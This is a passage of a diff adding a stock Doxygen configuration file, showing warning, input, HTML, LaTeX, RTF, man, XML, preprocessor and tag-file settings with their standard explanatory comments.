WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings +# for undocumented members. If EXTRACT_ALL is set to YES then this flag will +# automatically be disabled. + +WARN_IF_UNDOCUMENTED = YES + +# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for +# potential errors in the documentation, such as not documenting some +# parameters in a documented function, or documenting parameters that +# don't exist or using markup commands wrongly. + +WARN_IF_DOC_ERROR = YES + +# The WARN_NO_PARAMDOC option can be enabled to get warnings for +# functions that are documented, but have no documentation for their parameters +# or return value. If set to NO (the default) doxygen will only warn about +# wrong or incomplete parameter documentation, but not about the absence of +# documentation. + +WARN_NO_PARAMDOC = NO + +# The WARN_FORMAT tag determines the format of the warning messages that +# doxygen can produce. The string should contain the $file, $line, and $text +# tags, which will be replaced by the file and line number from which the +# warning originated and the warning text. Optionally the format may contain +# $version, which will be replaced by the version of the file (if it could +# be obtained via FILE_VERSION_FILTER) + +WARN_FORMAT = "$file:$line: $text" + +# The WARN_LOGFILE tag can be used to specify a file to which warning +# and error messages should be written. If left blank the output is written +# to stderr. + +WARN_LOGFILE = + +#--------------------------------------------------------------------------- +# configuration options related to the input files +#--------------------------------------------------------------------------- + +# The INPUT tag can be used to specify the files and/or directories that contain +# documented source files. You may enter file names like "myfile.cpp" or +# directories like "/usr/src/myproject". Separate the files or directories +# with spaces. + +INPUT = ../ + +# This tag can be used to specify the character encoding of the source files +# that doxygen parses. Internally doxygen uses the UTF-8 encoding, which is +# also the default input encoding. Doxygen uses libiconv (or the iconv built +# into libc) for the transcoding. See http://www.gnu.org/software/libiconv for +# the list of possible encodings. + +INPUT_ENCODING = UTF-8 + +# If the value of the INPUT tag contains directories, you can use the +# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp +# and *.h) to filter out the source-files in the directories. If left +# blank the following patterns are tested: +# *.c *.cc *.cxx *.cpp *.c++ *.d *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh +# *.hxx *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.dox *.py +# *.f90 *.f *.for *.vhd *.vhdl + +FILE_PATTERNS = *.c \ + *.cc \ + *.cxx \ + *.cpp \ + *.c++ \ + *.d \ + *.java \ + *.ii \ + *.ixx \ + *.ipp \ + *.i++ \ + *.inl \ + *.h \ + *.hh \ + *.hxx \ + *.hpp \ + *.h++ \ + *.idl \ + *.odl \ + *.cs \ + *.php \ + *.php3 \ + *.inc \ + *.m \ + *.mm \ + *.dox \ + *.py \ + *.f90 \ + *.f \ + *.for \ + *.vhd \ + *.vhdl + +# The RECURSIVE tag can be used to turn specify whether or not subdirectories +# should be searched for input files as well. Possible values are YES and NO. +# If left blank NO is used. + +RECURSIVE = NO + +# The EXCLUDE tag can be used to specify files and/or directories that should +# excluded from the INPUT source files. This way you can easily exclude a +# subdirectory from a directory tree whose root is specified with the INPUT tag. + +EXCLUDE = + +# The EXCLUDE_SYMLINKS tag can be used select whether or not files or +# directories that are symbolic links (a Unix file system feature) are excluded +# from the input. + +EXCLUDE_SYMLINKS = NO + +# If the value of the INPUT tag contains directories, you can use the +# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude +# certain files from those directories. Note that the wildcards are matched +# against the file with absolute path, so to exclude all test directories +# for example use the pattern */test/* + +EXCLUDE_PATTERNS = + +# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names +# (namespaces, classes, functions, etc.) that should be excluded from the +# output. The symbol name can be a fully qualified name, a word, or if the +# wildcard * is used, a substring. Examples: ANamespace, AClass, +# AClass::ANamespace, ANamespace::*Test + +EXCLUDE_SYMBOLS = + +# The EXAMPLE_PATH tag can be used to specify one or more files or +# directories that contain example code fragments that are included (see +# the \include command). + +EXAMPLE_PATH = + +# If the value of the EXAMPLE_PATH tag contains directories, you can use the +# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp +# and *.h) to filter out the source-files in the directories. If left +# blank all files are included. + +EXAMPLE_PATTERNS = * + +# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be +# searched for input files to be used with the \include or \dontinclude +# commands irrespective of the value of the RECURSIVE tag. +# Possible values are YES and NO. If left blank NO is used. + +EXAMPLE_RECURSIVE = NO + +# The IMAGE_PATH tag can be used to specify one or more files or +# directories that contain image that are included in the documentation (see +# the \image command). + +IMAGE_PATH = + +# The INPUT_FILTER tag can be used to specify a program that doxygen should +# invoke to filter for each input file. Doxygen will invoke the filter program +# by executing (via popen()) the command , where +# is the value of the INPUT_FILTER tag, and is the name of an +# input file. Doxygen will then use the output that the filter program writes +# to standard output. If FILTER_PATTERNS is specified, this tag will be +# ignored. + +INPUT_FILTER = + +# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern +# basis. Doxygen will compare the file name with each pattern and apply the +# filter if there is a match. The filters are a list of the form: +# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further +# info on how filters are used. If FILTER_PATTERNS is empty or if +# non of the patterns match the file name, INPUT_FILTER is applied. + +FILTER_PATTERNS = + +# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using +# INPUT_FILTER) will be used to filter the input files when producing source +# files to browse (i.e. when SOURCE_BROWSER is set to YES). + +FILTER_SOURCE_FILES = NO + +# The FILTER_SOURCE_PATTERNS tag can be used to specify source filters per file +# pattern. A pattern will override the setting for FILTER_PATTERN (if any) +# and it is also possible to disable source filtering for a specific pattern +# using *.ext= (so without naming a filter). This option only has effect when +# FILTER_SOURCE_FILES is enabled. + +FILTER_SOURCE_PATTERNS = + +#--------------------------------------------------------------------------- +# configuration options related to source browsing +#--------------------------------------------------------------------------- + +# If the SOURCE_BROWSER tag is set to YES then a list of source files will +# be generated. Documented entities will be cross-referenced with these sources. +# Note: To get rid of all source code in the generated output, make sure also +# VERBATIM_HEADERS is set to NO. + +SOURCE_BROWSER = YES + +# Setting the INLINE_SOURCES tag to YES will include the body +# of functions and classes directly in the documentation. + +INLINE_SOURCES = NO + +# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct +# doxygen to hide any special comment blocks from generated source code +# fragments. Normal C and C++ comments will always remain visible. + +STRIP_CODE_COMMENTS = YES + +# If the REFERENCED_BY_RELATION tag is set to YES +# then for each documented function all documented +# functions referencing it will be listed. + +REFERENCED_BY_RELATION = NO + +# If the REFERENCES_RELATION tag is set to YES +# then for each documented function all documented entities +# called/used by that function will be listed. + +REFERENCES_RELATION = NO + +# If the REFERENCES_LINK_SOURCE tag is set to YES (the default) +# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from +# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will +# link to the source code. Otherwise they will link to the documentation. + +REFERENCES_LINK_SOURCE = YES + +# If the USE_HTAGS tag is set to YES then the references to source code +# will point to the HTML generated by the htags(1) tool instead of doxygen +# built-in source browser. The htags tool is part of GNU's global source +# tagging system (see http://www.gnu.org/software/global/global.html). You +# will need version 4.8.6 or higher. + +USE_HTAGS = NO + +# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen +# will generate a verbatim copy of the header file for each class for +# which an include is specified. Set to NO to disable this. + +VERBATIM_HEADERS = YES + +#--------------------------------------------------------------------------- +# configuration options related to the alphabetical class index +#--------------------------------------------------------------------------- + +# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index +# of all compounds will be generated. Enable this if the project +# contains a lot of classes, structs, unions or interfaces. + +ALPHABETICAL_INDEX = YES + +# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then +# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns +# in which this list will be split (can be a number in the range [1..20]) + +COLS_IN_ALPHA_INDEX = 5 + +# In case all classes in a project start with a common prefix, all +# classes will be put under the same header in the alphabetical index. +# The IGNORE_PREFIX tag can be used to specify one or more prefixes that +# should be ignored while generating the index headers. + +IGNORE_PREFIX = + +#--------------------------------------------------------------------------- +# configuration options related to the HTML output +#--------------------------------------------------------------------------- + +# If the GENERATE_HTML tag is set to YES (the default) Doxygen will +# generate HTML output. + +GENERATE_HTML = YES + +# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `html' will be used as the default path. + +HTML_OUTPUT = html + +# The HTML_FILE_EXTENSION tag can be used to specify the file extension for +# each generated HTML page (for example: .htm,.php,.asp). If it is left blank +# doxygen will generate files with .html extension. + +HTML_FILE_EXTENSION = .html + +# The HTML_HEADER tag can be used to specify a personal HTML header for +# each generated HTML page. If it is left blank doxygen will generate a +# standard header. Note that when using a custom header you are responsible +# for the proper inclusion of any scripts and style sheets that doxygen +# needs, which is dependent on the configuration options used. +# It is adviced to generate a default header using "doxygen -w html +# header.html footer.html stylesheet.css YourConfigFile" and then modify +# that header. Note that the header is subject to change so you typically +# have to redo this when upgrading to a newer version of doxygen or when +# changing the value of configuration settings such as GENERATE_TREEVIEW! + +HTML_HEADER = + +# The HTML_FOOTER tag can be used to specify a personal HTML footer for +# each generated HTML page. If it is left blank doxygen will generate a +# standard footer. + +HTML_FOOTER = + +# The HTML_STYLESHEET tag can be used to specify a user-defined cascading +# style sheet that is used by each HTML page. It can be used to +# fine-tune the look of the HTML output. If the tag is left blank doxygen +# will generate a default style sheet. Note that doxygen will try to copy +# the style sheet file to the HTML output directory, so don't put your own +# stylesheet in the HTML output directory as well, or it will be erased! + +HTML_STYLESHEET = + +# The HTML_EXTRA_FILES tag can be used to specify one or more extra images or +# other source files which should be copied to the HTML output directory. Note +# that these files will be copied to the base HTML output directory. Use the +# $relpath$ marker in the HTML_HEADER and/or HTML_FOOTER files to load these +# files. In the HTML_STYLESHEET file, use the file name only. Also note that +# the files will be copied as-is; there are no commands or markers available. + +HTML_EXTRA_FILES = + +# The HTML_COLORSTYLE_HUE tag controls the color of the HTML output. +# Doxygen will adjust the colors in the stylesheet and background images +# according to this color. Hue is specified as an angle on a colorwheel, +# see http://en.wikipedia.org/wiki/Hue for more information. +# For instance the value 0 represents red, 60 is yellow, 120 is green, +# 180 is cyan, 240 is blue, 300 purple, and 360 is red again. +# The allowed range is 0 to 359. + +HTML_COLORSTYLE_HUE = 220 + +# The HTML_COLORSTYLE_SAT tag controls the purity (or saturation) of +# the colors in the HTML output. For a value of 0 the output will use +# grayscales only. A value of 255 will produce the most vivid colors. + +HTML_COLORSTYLE_SAT = 100 + +# The HTML_COLORSTYLE_GAMMA tag controls the gamma correction applied to +# the luminance component of the colors in the HTML output. Values below +# 100 gradually make the output lighter, whereas values above 100 make +# the output darker. The value divided by 100 is the actual gamma applied, +# so 80 represents a gamma of 0.8, The value 220 represents a gamma of 2.2, +# and 100 does not change the gamma. + +HTML_COLORSTYLE_GAMMA = 80 + +# If the HTML_TIMESTAMP tag is set to YES then the footer of each generated HTML +# page will contain the date and time when the page was generated. Setting +# this to NO can help when comparing the output of multiple runs. + +HTML_TIMESTAMP = YES + +# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, +# files or namespaces will be aligned in HTML using tables. If set to +# NO a bullet list will be used. + +HTML_ALIGN_MEMBERS = YES + +# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML +# documentation will contain sections that can be hidden and shown after the +# page has loaded. For this to work a browser that supports +# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox +# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). + +HTML_DYNAMIC_SECTIONS = NO + +# If the GENERATE_DOCSET tag is set to YES, additional index files +# will be generated that can be used as input for Apple's Xcode 3 +# integrated development environment, introduced with OSX 10.5 (Leopard). +# To create a documentation set, doxygen will generate a Makefile in the +# HTML output directory. Running make will produce the docset in that +# directory and running "make install" will install the docset in +# ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find +# it at startup. +# See http://developer.apple.com/tools/creatingdocsetswithdoxygen.html +# for more information. + +GENERATE_DOCSET = NO + +# When GENERATE_DOCSET tag is set to YES, this tag determines the name of the +# feed. A documentation feed provides an umbrella under which multiple +# documentation sets from a single provider (such as a company or product suite) +# can be grouped. + +DOCSET_FEEDNAME = "Doxygen generated docs" + +# When GENERATE_DOCSET tag is set to YES, this tag specifies a string that +# should uniquely identify the documentation set bundle. This should be a +# reverse domain-name style string, e.g. com.mycompany.MyDocSet. Doxygen +# will append .docset to the name. + +DOCSET_BUNDLE_ID = org.doxygen.Project + +# When GENERATE_PUBLISHER_ID tag specifies a string that should uniquely identify +# the documentation publisher. This should be a reverse domain-name style +# string, e.g. com.mycompany.MyDocSet.documentation. + +DOCSET_PUBLISHER_ID = org.doxygen.Publisher + +# The GENERATE_PUBLISHER_NAME tag identifies the documentation publisher. + +DOCSET_PUBLISHER_NAME = Publisher + +# If the GENERATE_HTMLHELP tag is set to YES, additional index files +# will be generated that can be used as input for tools like the +# Microsoft HTML help workshop to generate a compiled HTML help file (.chm) +# of the generated HTML documentation. + +GENERATE_HTMLHELP = NO + +# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can +# be used to specify the file name of the resulting .chm file. You +# can add a path in front of the file if the result should not be +# written to the html output directory. + +CHM_FILE = + +# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can +# be used to specify the location (absolute path including file name) of +# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run +# the HTML help compiler on the generated index.hhp. + +HHC_LOCATION = + +# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag +# controls if a separate .chi index file is generated (YES) or that +# it should be included in the master .chm file (NO). + +GENERATE_CHI = NO + +# If the GENERATE_HTMLHELP tag is set to YES, the CHM_INDEX_ENCODING +# is used to encode HtmlHelp index (hhk), content (hhc) and project file +# content. + +CHM_INDEX_ENCODING = + +# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag +# controls whether a binary table of contents is generated (YES) or a +# normal table of contents (NO) in the .chm file. + +BINARY_TOC = NO + +# The TOC_EXPAND flag can be set to YES to add extra items for group members +# to the contents of the HTML help documentation and to the tree view. + +TOC_EXPAND = NO + +# If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and +# QHP_VIRTUAL_FOLDER are set, an additional index file will be generated +# that can be used as input for Qt's qhelpgenerator to generate a +# Qt Compressed Help (.qch) of the generated HTML documentation. + +GENERATE_QHP = NO + +# If the QHG_LOCATION tag is specified, the QCH_FILE tag can +# be used to specify the file name of the resulting .qch file. +# The path specified is relative to the HTML output folder. + +QCH_FILE = + +# The QHP_NAMESPACE tag specifies the namespace to use when generating +# Qt Help Project output. For more information please see +# http://doc.trolltech.com/qthelpproject.html#namespace + +QHP_NAMESPACE = org.doxygen.Project + +# The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating +# Qt Help Project output. For more information please see +# http://doc.trolltech.com/qthelpproject.html#virtual-folders + +QHP_VIRTUAL_FOLDER = doc + +# If QHP_CUST_FILTER_NAME is set, it specifies the name of a custom filter to +# add. For more information please see +# http://doc.trolltech.com/qthelpproject.html#custom-filters + +QHP_CUST_FILTER_NAME = + +# The QHP_CUST_FILT_ATTRS tag specifies the list of the attributes of the +# custom filter to add. For more information please see +# +# Qt Help Project / Custom Filters. + +QHP_CUST_FILTER_ATTRS = + +# The QHP_SECT_FILTER_ATTRS tag specifies the list of the attributes this +# project's +# filter section matches. +# +# Qt Help Project / Filter Attributes. + +QHP_SECT_FILTER_ATTRS = + +# If the GENERATE_QHP tag is set to YES, the QHG_LOCATION tag can +# be used to specify the location of Qt's qhelpgenerator. +# If non-empty doxygen will try to run qhelpgenerator on the generated +# .qhp file. + +QHG_LOCATION = + +# If the GENERATE_ECLIPSEHELP tag is set to YES, additional index files +# will be generated, which together with the HTML files, form an Eclipse help +# plugin. To install this plugin and make it available under the help contents +# menu in Eclipse, the contents of the directory containing the HTML and XML +# files needs to be copied into the plugins directory of eclipse. The name of +# the directory within the plugins directory should be the same as +# the ECLIPSE_DOC_ID value. After copying Eclipse needs to be restarted before +# the help appears. + +GENERATE_ECLIPSEHELP = NO + +# A unique identifier for the eclipse help plugin. When installing the plugin +# the directory name containing the HTML and XML files should also have +# this name. + +ECLIPSE_DOC_ID = org.doxygen.Project + +# The DISABLE_INDEX tag can be used to turn on/off the condensed index at +# top of each HTML page. The value NO (the default) enables the index and +# the value YES disables it. + +DISABLE_INDEX = NO + +# The ENUM_VALUES_PER_LINE tag can be used to set the number of enum values +# (range [0,1..20]) that doxygen will group on one line in the generated HTML +# documentation. Note that a value of 0 will completely suppress the enum +# values from appearing in the overview section. + +ENUM_VALUES_PER_LINE = 4 + +# The GENERATE_TREEVIEW tag is used to specify whether a tree-like index +# structure should be generated to display hierarchical information. +# If the tag value is set to YES, a side panel will be generated +# containing a tree-like index structure (just like the one that +# is generated for HTML Help). For this to work a browser that supports +# JavaScript, DHTML, CSS and frames is required (i.e. any modern browser). +# Windows users are probably better off using the HTML help feature. + +GENERATE_TREEVIEW = NO + +# By enabling USE_INLINE_TREES, doxygen will generate the Groups, Directories, +# and Class Hierarchy pages using a tree view instead of an ordered list. + +USE_INLINE_TREES = NO + +# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be +# used to set the initial width (in pixels) of the frame in which the tree +# is shown. + +TREEVIEW_WIDTH = 250 + +# When the EXT_LINKS_IN_WINDOW option is set to YES doxygen will open +# links to external symbols imported via tag files in a separate window. + +EXT_LINKS_IN_WINDOW = NO + +# Use this tag to change the font size of Latex formulas included +# as images in the HTML documentation. The default is 10. Note that +# when you change the font size after a successful doxygen run you need +# to manually remove any form_*.png images from the HTML output directory +# to force them to be regenerated. + +FORMULA_FONTSIZE = 10 + +# Use the FORMULA_TRANPARENT tag to determine whether or not the images +# generated for formulas are transparent PNGs. Transparent PNGs are +# not supported properly for IE 6.0, but are supported on all modern browsers. +# Note that when changing this option you need to delete any form_*.png files +# in the HTML output before the changes have effect. + +FORMULA_TRANSPARENT = YES + +# Enable the USE_MATHJAX option to render LaTeX formulas using MathJax +# (see http://www.mathjax.org) which uses client side Javascript for the +# rendering instead of using prerendered bitmaps. Use this if you do not +# have LaTeX installed or if you want to formulas look prettier in the HTML +# output. When enabled you also need to install MathJax separately and +# configure the path to it using the MATHJAX_RELPATH option. + +USE_MATHJAX = NO + +# When MathJax is enabled you need to specify the location relative to the +# HTML output directory using the MATHJAX_RELPATH option. The destination +# directory should contain the MathJax.js script. For instance, if the mathjax +# directory is located at the same level as the HTML output directory, then +# MATHJAX_RELPATH should be ../mathjax. The default value points to the +# mathjax.org site, so you can quickly see the result without installing +# MathJax, but it is strongly recommended to install a local copy of MathJax +# before deployment. + +MATHJAX_RELPATH = http://www.mathjax.org/mathjax + +# When the SEARCHENGINE tag is enabled doxygen will generate a search box +# for the HTML output. The underlying search engine uses javascript +# and DHTML and should work on any modern browser. Note that when using +# HTML help (GENERATE_HTMLHELP), Qt help (GENERATE_QHP), or docsets +# (GENERATE_DOCSET) there is already a search function so this one should +# typically be disabled. For large projects the javascript based search engine +# can be slow, then enabling SERVER_BASED_SEARCH may provide a better solution. + +SEARCHENGINE = YES + +# When the SERVER_BASED_SEARCH tag is enabled the search engine will be +# implemented using a PHP enabled web server instead of at the web client +# using Javascript. Doxygen will generate the search PHP script and index +# file to put on the web server. The advantage of the server +# based approach is that it scales better to large projects and allows +# full text search. The disadvantages are that it is more difficult to setup +# and does not have live searching capabilities. + +SERVER_BASED_SEARCH = NO + +#--------------------------------------------------------------------------- +# configuration options related to the LaTeX output +#--------------------------------------------------------------------------- + +# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will +# generate Latex output. + +GENERATE_LATEX = NO + +# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `latex' will be used as the default path. + +LATEX_OUTPUT = latex + +# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be +# invoked. If left blank `latex' will be used as the default command name. +# Note that when enabling USE_PDFLATEX this option is only used for +# generating bitmaps for formulas in the HTML output, but not in the +# Makefile that is written to the output directory. + +LATEX_CMD_NAME = latex + +# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to +# generate index for LaTeX. If left blank `makeindex' will be used as the +# default command name. + +MAKEINDEX_CMD_NAME = makeindex + +# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact +# LaTeX documents. This may be useful for small projects and may help to +# save some trees in general. + +COMPACT_LATEX = NO + +# The PAPER_TYPE tag can be used to set the paper type that is used +# by the printer. Possible values are: a4, letter, legal and +# executive. If left blank a4wide will be used. + +PAPER_TYPE = a4 + +# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX +# packages that should be included in the LaTeX output. + +EXTRA_PACKAGES = + +# The LATEX_HEADER tag can be used to specify a personal LaTeX header for +# the generated latex document. The header should contain everything until +# the first chapter. If it is left blank doxygen will generate a +# standard header. Notice: only use this tag if you know what you are doing! + +LATEX_HEADER = + +# The LATEX_FOOTER tag can be used to specify a personal LaTeX footer for +# the generated latex document. The footer should contain everything after +# the last chapter. If it is left blank doxygen will generate a +# standard footer. Notice: only use this tag if you know what you are doing! + +LATEX_FOOTER = + +# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated +# is prepared for conversion to pdf (using ps2pdf). The pdf file will +# contain links (just like the HTML output) instead of page references +# This makes the output suitable for online browsing using a pdf viewer. + +PDF_HYPERLINKS = YES + +# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of +# plain latex in the generated Makefile. Set this option to YES to get a +# higher quality PDF documentation. + +USE_PDFLATEX = YES + +# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. +# command to the generated LaTeX files. This will instruct LaTeX to keep +# running if errors occur, instead of asking the user for help. +# This option is also used when generating formulas in HTML. + +LATEX_BATCHMODE = NO + +# If LATEX_HIDE_INDICES is set to YES then doxygen will not +# include the index chapters (such as File Index, Compound Index, etc.) +# in the output. + +LATEX_HIDE_INDICES = NO + +# If LATEX_SOURCE_CODE is set to YES then doxygen will include +# source code with syntax highlighting in the LaTeX output. +# Note that which sources are shown also depends on other settings +# such as SOURCE_BROWSER. + +LATEX_SOURCE_CODE = NO + +#--------------------------------------------------------------------------- +# configuration options related to the RTF output +#--------------------------------------------------------------------------- + +# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output +# The RTF output is optimized for Word 97 and may not look very pretty with +# other RTF readers or editors. + +GENERATE_RTF = NO + +# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `rtf' will be used as the default path. + +RTF_OUTPUT = rtf + +# If the COMPACT_RTF tag is set to YES Doxygen generates more compact +# RTF documents. This may be useful for small projects and may help to +# save some trees in general. + +COMPACT_RTF = NO + +# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated +# will contain hyperlink fields. The RTF file will +# contain links (just like the HTML output) instead of page references. +# This makes the output suitable for online browsing using WORD or other +# programs which support those fields. +# Note: wordpad (write) and others do not support links. + +RTF_HYPERLINKS = YES + +# Load stylesheet definitions from file. Syntax is similar to doxygen's +# config file, i.e. a series of assignments. You only have to provide +# replacements, missing definitions are set to their default value. + +RTF_STYLESHEET_FILE = + +# Set optional variables used in the generation of an rtf document. +# Syntax is similar to doxygen's config file. + +RTF_EXTENSIONS_FILE = + +#--------------------------------------------------------------------------- +# configuration options related to the man page output +#--------------------------------------------------------------------------- + +# If the GENERATE_MAN tag is set to YES (the default) Doxygen will +# generate man pages + +GENERATE_MAN = NO + +# The MAN_OUTPUT tag is used to specify where the man pages will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `man' will be used as the default path. + +MAN_OUTPUT = man + +# The MAN_EXTENSION tag determines the extension that is added to +# the generated man pages (default is the subroutine's section .3) + +MAN_EXTENSION = .3 + +# If the MAN_LINKS tag is set to YES and Doxygen generates man output, +# then it will generate one additional man file for each entity +# documented in the real man page(s). These additional files +# only source the real man page, but without them the man command +# would be unable to find the correct page. The default is NO. + +MAN_LINKS = NO + +#--------------------------------------------------------------------------- +# configuration options related to the XML output +#--------------------------------------------------------------------------- + +# If the GENERATE_XML tag is set to YES Doxygen will +# generate an XML file that captures the structure of +# the code including all documentation. + +GENERATE_XML = NO + +# The XML_OUTPUT tag is used to specify where the XML pages will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `xml' will be used as the default path. + +XML_OUTPUT = xml + +# The XML_SCHEMA tag can be used to specify an XML schema, +# which can be used by a validating XML parser to check the +# syntax of the XML files. + +XML_SCHEMA = + +# The XML_DTD tag can be used to specify an XML DTD, +# which can be used by a validating XML parser to check the +# syntax of the XML files. + +XML_DTD = + +# If the XML_PROGRAMLISTING tag is set to YES Doxygen will +# dump the program listings (including syntax highlighting +# and cross-referencing information) to the XML output. Note that +# enabling this will significantly increase the size of the XML output. + +XML_PROGRAMLISTING = YES + +#--------------------------------------------------------------------------- +# configuration options for the AutoGen Definitions output +#--------------------------------------------------------------------------- + +# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will +# generate an AutoGen Definitions (see autogen.sf.net) file +# that captures the structure of the code including all +# documentation. Note that this feature is still experimental +# and incomplete at the moment. + +GENERATE_AUTOGEN_DEF = YES + +#--------------------------------------------------------------------------- +# configuration options related to the Perl module output +#--------------------------------------------------------------------------- + +# If the GENERATE_PERLMOD tag is set to YES Doxygen will +# generate a Perl module file that captures the structure of +# the code including all documentation. Note that this +# feature is still experimental and incomplete at the +# moment. + +GENERATE_PERLMOD = NO + +# If the PERLMOD_LATEX tag is set to YES Doxygen will generate +# the necessary Makefile rules, Perl scripts and LaTeX code to be able +# to generate PDF and DVI output from the Perl module output. + +PERLMOD_LATEX = NO + +# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be +# nicely formatted so it can be parsed by a human reader. This is useful +# if you want to understand what is going on. On the other hand, if this +# tag is set to NO the size of the Perl module output will be much smaller +# and Perl will parse it just the same. + +PERLMOD_PRETTY = YES + +# The names of the make variables in the generated doxyrules.make file +# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. +# This is useful so different doxyrules.make files included by the same +# Makefile don't overwrite each other's variables. + +PERLMOD_MAKEVAR_PREFIX = + +#--------------------------------------------------------------------------- +# Configuration options related to the preprocessor +#--------------------------------------------------------------------------- + +# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will +# evaluate all C-preprocessor directives found in the sources and include +# files. + +ENABLE_PREPROCESSING = YES + +# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro +# names in the source code. If set to NO (the default) only conditional +# compilation will be performed. Macro expansion can be done in a controlled +# way by setting EXPAND_ONLY_PREDEF to YES. + +MACRO_EXPANSION = NO + +# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES +# then the macro expansion is limited to the macros specified with the +# PREDEFINED and EXPAND_AS_DEFINED tags. + +EXPAND_ONLY_PREDEF = NO + +# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files +# pointed to by INCLUDE_PATH will be searched when a #include is found. + +SEARCH_INCLUDES = YES + +# The INCLUDE_PATH tag can be used to specify one or more directories that +# contain include files that are not input files but should be processed by +# the preprocessor. + +INCLUDE_PATH = + +# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard +# patterns (like *.h and *.hpp) to filter out the header-files in the +# directories. If left blank, the patterns specified with FILE_PATTERNS will +# be used. + +INCLUDE_FILE_PATTERNS = + +# The PREDEFINED tag can be used to specify one or more macro names that +# are defined before the preprocessor is started (similar to the -D option of +# gcc). The argument of the tag is a list of macros of the form: name +# or name=definition (no spaces). If the definition and the = are +# omitted =1 is assumed. To prevent a macro definition from being +# undefined via #undef or recursively expanded use the := operator +# instead of the = operator. + +PREDEFINED = + +# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then +# this tag can be used to specify a list of macro names that should be expanded. +# The macro definition that is found in the sources will be used. +# Use the PREDEFINED tag if you want to use a different macro definition that +# overrules the definition found in the source code. + +EXPAND_AS_DEFINED = + +# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then +# doxygen's preprocessor will remove all references to function-like macros +# that are alone on a line, have an all uppercase name, and do not end with a +# semicolon, because these will confuse the parser if not removed. + +SKIP_FUNCTION_MACROS = YES + +#--------------------------------------------------------------------------- +# Configuration::additions related to external references +#--------------------------------------------------------------------------- + +# The TAGFILES option can be used to specify one or more tagfiles. +# Optionally an initial location of the external documentation +# can be added for each tagfile. The format of a tag file without +# this location is as follows: +# TAGFILES = file1 file2 ... +# Adding location for the tag files is done as follows: +# TAGFILES = file1=loc1 "file2 = loc2" ... +# where "loc1" and "loc2" can be relative or absolute paths or +# URLs. If a location is present for each tag, the installdox tool +# does not have to be run to correct the links. +# Note that each tag file must have a unique name +# (where the name does NOT include the path) +# If a tag file is not located in the directory in which doxygen +# is run, you must also specify the path to the tagfile here. + +TAGFILES = + +# When a file name is specified after GENERATE_TAGFILE, doxygen will create +# a tag file that is based on the input files it reads. + +GENERATE_TAGFILE = + +# If the ALLEXTERNALS tag is set to YES all external classes will be listed +# in the class index. If set to NO only the inherited external classes +# will be listed. + +ALLEXTERNALS = NO + +# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed +# in the modules index. If set to NO, only the current project's groups will +# be listed. + +EXTERNAL_GROUPS = YES + +# The PERL_PATH should be the absolute path and name of the perl script +# interpreter (i.e. the result of `which perl'). + +PERL_PATH = /usr/bin/perl + +#--------------------------------------------------------------------------- +# Configuration options related to the dot tool +#--------------------------------------------------------------------------- + +# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will +# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base +# or super classes. Setting the tag to NO turns the diagrams off. Note that +# this 